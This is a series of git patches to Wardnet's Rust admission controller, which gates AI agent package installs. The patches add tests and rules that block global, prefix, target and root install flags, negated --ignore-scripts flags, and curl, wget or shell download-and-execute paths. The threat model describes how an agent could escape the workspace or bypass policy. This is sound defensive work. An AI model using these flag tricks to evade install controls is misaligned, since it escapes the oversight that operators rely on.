2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:32:40 +0900 Subject: [PATCH 042/702] test(admission): reject alternate install roots --- .../tests/install_root_contract.rs | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/install_root_contract.rs diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs new file mode 100644 index 00000000..dcc9030d --- /dev/null +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -0,0 +1,80 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_npm_artifact_cannot_escape_workspace_install_root() { + for alternate_root in ["--global", "-g", "--prefix=/tmp/escape"] { + let (policy, mut intent) = approved_npm_install(); + intent.argv.push(alternate_root.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{alternate_root} must not turn an approved workspace artifact into a global or alternate-root install" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{alternate_root} must produce a stable alternate_install_root reason" + ); + } +} + +fn approved_npm_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-02.1".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-install-root-0001".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 155335ff027d46110c60616a3889112811121423 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:34:08 +0900 Subject: [PATCH 043/702] feat(admission): classify alternate install roots --- crates/agent-artifact-admission/src/admission.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/admission.rs b/crates/agent-artifact-admission/src/admission.rs index c8ec0419..8d432ca3 100644 --- a/crates/agent-artifact-admission/src/admission.rs +++ b/crates/agent-artifact-admission/src/admission.rs @@ -152,7 +152,8 @@ impl InstallIntent { kind: InstructionSourceKind::LlmsTxt, uri: Some("https://example.invalid/llms.txt".to_string()), content_sha256: Some( - "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + .to_string(), ), }, artifacts: vec![ArtifactCoordinate { @@ -247,6 +248,8 @@ pub enum ReasonCode { ForbiddenCommand, /// The command attempted to introduce an alternate package trust root. AlternateTrustRoot, + /// The command attempted to install outside the executor-selected workspace root. + AlternateInstallRoot, /// The package manager invocation omitted a mandatory hardening flag. MissingSafetyFlag, /// Durable audit evidence could not be persisted before returning a decision. @@ -273,6 +276,7 @@ impl ReasonCode { Self::InvalidSourceUri => "invalid_source_uri", Self::ForbiddenCommand => "forbidden_command", Self::AlternateTrustRoot => "alternate_trust_root", + Self::AlternateInstallRoot => "alternate_install_root", Self::MissingSafetyFlag => "missing_safety_flag", Self::AuditUnavailable => "audit_unavailable", } From 96badfa3d230b72d37b3e01d8a5ec63a63bf067d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:37:11 +0900 Subject: [PATCH 044/702] fix(admission): block alternate install roots --- crates/agent-artifact-admission/src/policy.rs | 49 ++++++++++++++++--- 1 file changed, 43 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index c9d47b3e..e1a6ecfc 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -175,6 +175,9 @@ fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec) { @@ -361,15 +364,49 @@ fn requests_alternate_trust_root(arguments: &[String]) -> bool { "-f", ]; arguments.iter().any(|argument| { - FORBIDDEN_FLAGS.iter().any(|flag| { - argument == flag - || argument - .strip_prefix(flag) - .is_some_and(|suffix| suffix.starts_with('=')) - }) + FORBIDDEN_FLAGS + .iter() + .any(|flag| matches_cli_flag(argument, flag)) }) } +fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bool { + let contains_flag = |flags: &[&str]| { + arguments + .iter() + .any(|argument| flags.iter().any(|flag| matches_cli_flag(argument, flag))) + }; + + match executable { + "npm" | "pnpm" | "yarn" | "bun" => { + contains_flag(&["-g", "--global", "--prefix"]) + || arguments.iter().any(|argument| argument == "--location=global") + || arguments.windows(2).any(|pair| { + pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") + }) + } + "pip" | "pip3" => { + contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]) + } + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + && contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]) + } + "cargo" => contains_flag(&["--root"]), + _ => false, + } +} + +fn matches_cli_flag(argument: &str, flag: &str) -> bool { + argument == flag + || argument + .strip_prefix(flag) + .is_some_and(|suffix| suffix.starts_with('=')) +} + fn push_reason(reason_codes: &mut Vec, reason: ReasonCode) { if !reason_codes.contains(&reason) { reason_codes.push(reason); From ad049ea55c21ddb7391b44ae089df76860986e89 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:37:52 +0900 Subject: [PATCH 045/702] docs(admission): publish alternate-root denial --- docs/openapi/agent-artifact-admission.openapi.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/openapi/agent-artifact-admission.openapi.yaml b/docs/openapi/agent-artifact-admission.openapi.yaml index 4fb83b2e..4e729e6b 100644 --- a/docs/openapi/agent-artifact-admission.openapi.yaml +++ b/docs/openapi/agent-artifact-admission.openapi.yaml @@ -305,6 +305,7 @@ components: - invalid_source_uri - forbidden_command - alternate_trust_root + - alternate_install_root - missing_safety_flag - audit_unavailable policy_id: From ff68d4fd481af09bd37ab9717d8a3612fd7edb73 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:38:14 +0900 Subject: [PATCH 046/702] docs(admission): record install-root escape threat --- docs/security/agent-artifact-admission-threat-model.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index d6bb31d8..95fa6783 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -26,6 +26,7 @@ The credential file, policy/configuration file and audit file are local deployme | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | +| Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target or root flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | | Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | | Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | | Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | @@ -39,7 +40,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, or transform a blocked command into an allowed one. Any such behavior would convert untrusted input into authority. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, or reinterpret an approved workspace install as permission to write into a global/user/alternate install root. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -49,10 +50,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. +- Package-manager destination overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate-root flags, while the downstream execution broker/quarantine runtime still owns actual filesystem, mount and process isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity, not publisher trust. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. +SHA-256 equality proves byte identity, not publisher trust. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit alternate-root flags narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references From 03ee83463604a1eafb13a69f4d34a5a21daed82d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:39:48 +0900 Subject: [PATCH 047/702] test(admission): cover package-manager root escapes --- .../tests/install_root_contract.rs | 167 +++++++++++++++--- 1 file changed, 147 insertions(+), 20 deletions(-) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index dcc9030d..578d4d31 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -4,43 +4,171 @@ use wardnet_agent_artifact_admission::{ }; #[test] -fn approved_npm_artifact_cannot_escape_workspace_install_root() { - for alternate_root in ["--global", "-g", "--prefix=/tmp/escape"] { - let (policy, mut intent) = approved_npm_install(); - intent.argv.push(alternate_root.to_string()); +fn package_managers_cannot_escape_the_broker_selected_install_root() { + let cases = [ + install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &["install", "@cwl/example@1.2.3", "--ignore-scripts", "--global"], + ), + install_case( + "pnpm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &["add", "@cwl/example@1.2.3", "--ignore-scripts", "-g"], + ), + install_case( + "yarn", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &["add", "@cwl/example@1.2.3", "--ignore-scripts", "--global"], + ), + install_case( + "bun", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &["add", "@cwl/example@1.2.3", "--ignore-scripts", "--prefix=/tmp/escape"], + ), + install_case( + "pip", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &["install", "cwl-example==1.2.3", "--require-hashes", "--target=/tmp/escape"], + ), + install_case( + "pip3", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &["install", "cwl-example==1.2.3", "--require-hashes", "--user"], + ), + install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--prefix=/tmp/escape", + ], + ), + install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &["install", "cwl-example@1.2.3", "--locked", "--root=/tmp/escape"], + ), + ]; + for (policy, intent, label) in cases { let decision = admission_decision(&policy, &intent); assert_eq!( decision.decision, DecisionKind::Block, - "{alternate_root} must not turn an approved workspace artifact into a global or alternate-root install" + "{label} must not turn an approved artifact into a global or alternate-root install" ); assert!( decision .reason_codes .iter() .any(|reason| reason.as_str() == "alternate_install_root"), - "{alternate_root} must produce a stable alternate_install_root reason" + "{label} must produce the stable alternate_install_root reason" ); } } -fn approved_npm_install() -> (AdmissionPolicy, InstallIntent) { +#[test] +fn npm_location_global_spellings_are_blocked() { + for location_arguments in [ + vec!["--location=global"], + vec!["--location", "GLOBAL"], + ] { + let mut arguments = vec!["install", "@cwl/example@1.2.3", "--ignore-scripts"]; + arguments.extend(location_arguments); + let (policy, intent, label) = install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &arguments, + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{label}"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root") + ); + } +} + +#[test] +fn container_pull_is_not_misclassified_as_an_install_root_escape() { + let digest = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + let artifact_argument = format!("ghcr.io/contextualwisdomlab/example@sha256:{digest}"); + let (policy, intent, _) = install_case( + "docker", + "oci", + "ghcr.io/contextualwisdomlab/example", + &artifact_argument, + "https://ghcr.io", + &["pull", &artifact_argument], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(!decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root")); +} + +fn install_case( + executable: &str, + ecosystem: &str, + name: &str, + artifact_argument: &str, + registry_url: &str, + arguments: &[&str], +) -> (AdmissionPolicy, InstallIntent, String) { let artifact = ArtifactCoordinate { - ecosystem: "npm".to_string(), - name: "@cwl/example".to_string(), + ecosystem: ecosystem.to_string(), + name: name.to_string(), version: "1.2.3".to_string(), - registry_url: "https://registry.npmjs.org".to_string(), + registry_url: registry_url.to_string(), owner: "ContextualWisdomLab".to_string(), sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" .to_string(), - artifact_argument: "@cwl/example@1.2.3".to_string(), + artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { policy_id: "enterprise-default".to_string(), policy_revision: "2026-09-02.1".to_string(), - allowed_executables: vec!["npm".to_string()], + allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" @@ -56,17 +184,15 @@ fn approved_npm_install() -> (AdmissionPolicy, InstallIntent) { artifact_argument: artifact.artifact_argument.clone(), }], }; + let mut argv = Vec::with_capacity(arguments.len() + 1); + argv.push(executable.to_string()); + argv.extend(arguments.iter().map(|argument| (*argument).to_string())); let intent = InstallIntent { - request_id: "req-install-root-0001".to_string(), + request_id: format!("req-install-root-{executable}"), actor_id: "agent:codex:test".to_string(), workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), - argv: vec![ - "npm".to_string(), - "install".to_string(), - artifact.artifact_argument.clone(), - "--ignore-scripts".to_string(), - ], + argv, manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), source: InstructionSource { @@ -76,5 +202,6 @@ fn approved_npm_install() -> (AdmissionPolicy, InstallIntent) { }, artifacts: vec![artifact], }; - (policy, intent) + let label = format!("{executable} {}", arguments.join(" ")); + (policy, intent, label) } From 9ce6c8f452cc6ead6ae8b94ab4250a89dfc95ea1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:45:39 +0900 Subject: [PATCH 048/702] test(admission): reject uv and Cargo root overrides --- .../tests/install_root_contract.rs | 80 ++++++++++++++----- 1 file changed, 60 insertions(+), 20 deletions(-) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index 578d4d31..a86630fe 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -79,20 +79,51 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { ]; for (policy, intent, label) in cases { - let decision = admission_decision(&policy, &intent); + assert_alternate_root_blocked(&policy, &intent, &label); + } +} - assert_eq!( - decision.decision, - DecisionKind::Block, - "{label} must not turn an approved artifact into a global or alternate-root install" +#[test] +fn uv_environment_selection_cannot_escape_the_broker_selected_install_root() { + for extra_arguments in [ + vec!["--system"], + vec!["--python=/tmp/escape/bin/python"], + vec!["--python", "/tmp/escape/bin/python"], + vec!["-p", "/tmp/escape/bin/python"], + ] { + let mut arguments = vec!["pip", "install", "cwl-example==1.2.3", "--require-hashes"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &arguments, ); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_install_root"), - "{label} must produce the stable alternate_install_root reason" + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + +#[test] +fn cargo_inline_configuration_cannot_override_install_root() { + for extra_arguments in [ + vec!["--config=install.root='/tmp/escape'"], + vec!["--config", "install.root='/tmp/escape'"], + ] { + let mut arguments = vec!["install", "cwl-example@1.2.3", "--locked"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &arguments, ); + + assert_alternate_root_blocked(&policy, &intent, &label); } } @@ -113,15 +144,7 @@ fn npm_location_global_spellings_are_blocked() { &arguments, ); - let decision = admission_decision(&policy, &intent); - - assert_eq!(decision.decision, DecisionKind::Block, "{label}"); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_install_root") - ); + assert_alternate_root_blocked(&policy, &intent, &label); } } @@ -147,6 +170,23 @@ fn container_pull_is_not_misclassified_as_an_install_root_escape() { .any(|reason| reason.as_str() == "alternate_install_root")); } +fn assert_alternate_root_blocked(policy: &AdmissionPolicy, intent: &InstallIntent, label: &str) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not turn an approved artifact into a global or alternate-root install" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{label} must produce the stable alternate_install_root reason" + ); +} + fn install_case( executable: &str, ecosystem: &str, From f39846f6222f39ea6ba8c8f6892eeddf7d417ff8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 11:08:21 +0900 Subject: [PATCH 049/702] test(admission): reject npm safety-flag override --- .../tests/safety_flag_contract.rs | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/safety_flag_contract.rs diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs new file mode 100644 index 00000000..6e0282e7 --- /dev/null +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -0,0 +1,48 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, + admission_decision, +}; + +fn approved_npm_policy() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.1".to_string(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + policy +} + +#[test] +fn npm_boolean_override_cannot_reenable_install_scripts() { + let policy = approved_npm_policy(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--ignore-scripts".to_string(), + "--ignore-scripts=false".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag") + ); +} From e220b49a7eb19c109b9df159816b221c8ef8e6a7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 11:10:17 +0900 Subject: [PATCH 050/702] fix(admission): reject conflicting script safety flags --- crates/agent-artifact-admission/src/policy.rs | 21 +++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index e1a6ecfc..7e292a98 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -186,9 +186,9 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec !arguments - .iter() - .any(|argument| argument == "--ignore-scripts"), + "npm" | "pnpm" | "yarn" | "bun" => { + !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") + } "pip" | "pip3" => !arguments .iter() .any(|argument| argument == "--require-hashes"), @@ -228,6 +228,19 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec bool { + let Some(flag_name) = flag.strip_prefix("--") else { + return false; + }; + let negated = format!("--no-{flag_name}"); + let assigned = format!("{flag}="); + + arguments.iter().any(|argument| argument == flag) + && !arguments + .iter() + .any(|argument| argument == &negated || argument.starts_with(&assigned)) +} + fn artifact_is_approved( artifact: &ArtifactCoordinate, intent: &InstallIntent, @@ -477,4 +490,4 @@ pub fn sha256_hex(input: &[u8]) -> String { let _ = write!(&mut output, "{byte:02x}"); } output -} +} \ No newline at end of file From 0cd8fa5cfc42a454daeefc9162d42ca6c90ae4e9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 11:10:34 +0900 Subject: [PATCH 051/702] test(admission): cover npm negated safety flag --- .../tests/safety_flag_contract.rs | 38 ++++++++++--------- 1 file changed, 21 insertions(+), 17 deletions(-) diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs index 6e0282e7..c4cd1efa 100644 --- a/crates/agent-artifact-admission/tests/safety_flag_contract.rs +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -25,24 +25,28 @@ fn approved_npm_policy() -> AdmissionPolicy { } #[test] -fn npm_boolean_override_cannot_reenable_install_scripts() { +fn npm_boolean_overrides_cannot_reenable_install_scripts() { let policy = approved_npm_policy(); - let mut intent = InstallIntent::unowned_llms_package_for_test(); - intent.argv = vec![ - "npm".to_string(), - "install".to_string(), - "@unowned/example@1.2.3".to_string(), - "--ignore-scripts".to_string(), - "--ignore-scripts=false".to_string(), - ]; - let decision = admission_decision(&policy, &intent); + for conflicting_flag in ["--ignore-scripts=false", "--no-ignore-scripts"] { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--ignore-scripts".to_string(), + conflicting_flag.to_string(), + ]; - assert_eq!(decision.decision, DecisionKind::Block); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "missing_safety_flag") - ); + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{conflicting_flag}"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "{conflicting_flag}" + ); + } } From 54e882f7d87a42f3d021d3b153fa5126de4337d7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 11:11:36 +0900 Subject: [PATCH 052/702] docs(admission): trace npm safety-flag precedence --- docs/doctoring/agent-artifact-admission.md | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 184b9086..c4b7c624 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -1,6 +1,6 @@ # Agent Artifact Admission research and standards traceability -Verified 2026-09-01. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. +Verified 2026-09-02. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. ## Decision trace @@ -13,6 +13,7 @@ Verified 2026-09-01. This note records the primary sources that justify the admi | Do not infer publisher trust from registry presence | Sigstore verifies signing identity, certificate trust and Rekor inclusion; registry naming alone is not that evidence | exact reviewed owner is a local policy assertion, not an inferred identity | | Audit before returning allow; fail closed on audit outage | SSDF supply-chain controls require protected evidence and traceable release/security practices; append-before-response prevents an unaudited authorization gap | `append_before_response`; `audit_unavailable` => block/503 | | Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | +| Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | ## Current status of referenced standards @@ -35,12 +36,20 @@ The TUF specification page lists v1.0.33 as latest at verification time. TUF's m Sigstore's verification flow validates an artifact signature, the signing identity bound into the certificate, the certificate chain/trust root, and Rekor transparency-log evidence. That makes it suitable as a future external publisher/integrity authority. Wardnet must not reduce those semantics to a registry-owner string or silently copy Sigstore DTOs into the domain kernel. +### npm command safety + +npm documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. + ## APA 7 references Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 +National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications + +npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ + SLSA Community. (2025). *SLSA specification: Version 1.2.* https://slsa.dev/spec/v1.2/ Sigstore. (2026). *Overview.* https://docs.sigstore.dev/ @@ -49,8 +58,6 @@ Sigstore. (2026). *Security model.* https://docs.sigstore.dev/about/security/ The Update Framework. (2026). *Specification.* https://theupdateframework.io/spec/ -National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* 